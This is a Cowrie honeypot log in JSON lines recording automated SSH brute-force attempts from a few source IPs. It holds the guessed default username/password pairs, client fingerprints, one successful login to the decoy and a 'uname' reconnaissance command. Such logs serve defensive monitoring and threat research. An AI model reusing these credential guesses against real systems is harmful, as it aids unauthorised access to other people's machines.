{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:08.943168Z","src_ip":"192.109.200.78","session":"f5552d9c376d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:08.946705Z","src_ip":"192.109.200.78","session":"f5552d9c376d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:09.273090Z","src_ip":"192.109.200.78","session":"f5552d9c376d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:10.357076Z","src_ip":"192.109.200.78","session":"f5552d9c376d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54762,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e16db5fbb76","protocol":"ssh","message":"New connection: 192.109.200.78:54762 (10.17.0.5:22) [session: 5e16db5fbb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:12.223996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:12.227833Z","src_ip":"192.109.200.78","session":"5e16db5fbb76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:12.307678Z","src_ip":"192.109.200.78","session":"5e16db5fbb76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:12.550938Z","src_ip":"192.109.200.78","session":"5e16db5fbb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:13.634865Z","src_ip":"192.109.200.78","session":"5e16db5fbb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.60347247123718,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:14.654783Z","src_ip":"172.81.62.90","session":"8ca26df088ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54774,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad0494d0a2a","protocol":"ssh","message":"New connection: 192.109.200.78:54774 (10.17.0.5:22) [session: 4ad0494d0a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:15.442454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:15.446428Z","src_ip":"192.109.200.78","session":"4ad0494d0a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:15.531497Z","src_ip":"192.109.200.78","session":"4ad0494d0a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:15.777001Z","src_ip":"192.109.200.78","session":"4ad0494d0a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:16.861481Z","src_ip":"192.109.200.78","session":"4ad0494d0a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"66def409bf48","protocol":"ssh","message":"New connection: 46.29.234.126:44528 (159.203.135.109:22) [session: 66def409bf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.147583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.153028Z","src_ip":"46.29.234.126","session":"66def409bf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.267619Z","src_ip":"46.29.234.126","session":"66def409bf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54778,"dst_ip":"10.17.0.5","dst_port":22,"session":"d972a4de3d03","protocol":"ssh","message":"New connection: 192.109.200.78:54778 (10.17.0.5:22) [session: d972a4de3d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.608920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.735991Z","src_ip":"192.109.200.78","session":"d972a4de3d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.739406Z","src_ip":"192.109.200.78","session":"d972a4de3d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeakadmin","message":"login attempt [teamspeak/teamspeakadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:18.759068Z","src_ip":"46.29.234.126","session":"66def409bf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:19.063579Z","src_ip":"192.109.200.78","session":"d972a4de3d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:19.878103Z","src_ip":"46.29.234.126","session":"66def409bf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:20.145946Z","src_ip":"192.109.200.78","session":"d972a4de3d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c8222c682e7","protocol":"ssh","message":"New connection: 192.109.200.78:49718 (10.17.0.5:22) [session: 7c8222c682e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:22.015707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:22.019428Z","src_ip":"192.109.200.78","session":"7c8222c682e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:22.100667Z","src_ip":"192.109.200.78","session":"7c8222c682e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:22.341839Z","src_ip":"192.109.200.78","session":"7c8222c682e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:23.426639Z","src_ip":"192.109.200.78","session":"7c8222c682e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49734,"dst_ip":"10.17.0.5","dst_port":22,"session":"77aa7dab1761","protocol":"ssh","message":"New connection: 192.109.200.78:49734 (10.17.0.5:22) [session: 77aa7dab1761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.285919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.289873Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.373481Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.622409Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.819879Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.822124Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.904701Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:25.908018Z","src_ip":"192.109.200.78","session":"77aa7dab1761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49748,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68fa0496908","protocol":"ssh","message":"New connection: 192.109.200.78:49748 (10.17.0.5:22) [session: c68fa0496908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:28.474679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:28.594315Z","src_ip":"192.109.200.78","session":"c68fa0496908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:28.596982Z","src_ip":"192.109.200.78","session":"c68fa0496908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:28.929880Z","src_ip":"192.109.200.78","session":"c68fa0496908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:30.014109Z","src_ip":"192.109.200.78","session":"c68fa0496908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54948,"dst_ip":"10.17.0.5","dst_port":22,"session":"676d57627b53","protocol":"ssh","message":"New connection: 192.109.200.78:54948 (10.17.0.5:22) [session: 676d57627b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:31.800604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:31.804381Z","src_ip":"192.109.200.78","session":"676d57627b53","protocol":"ssh"}
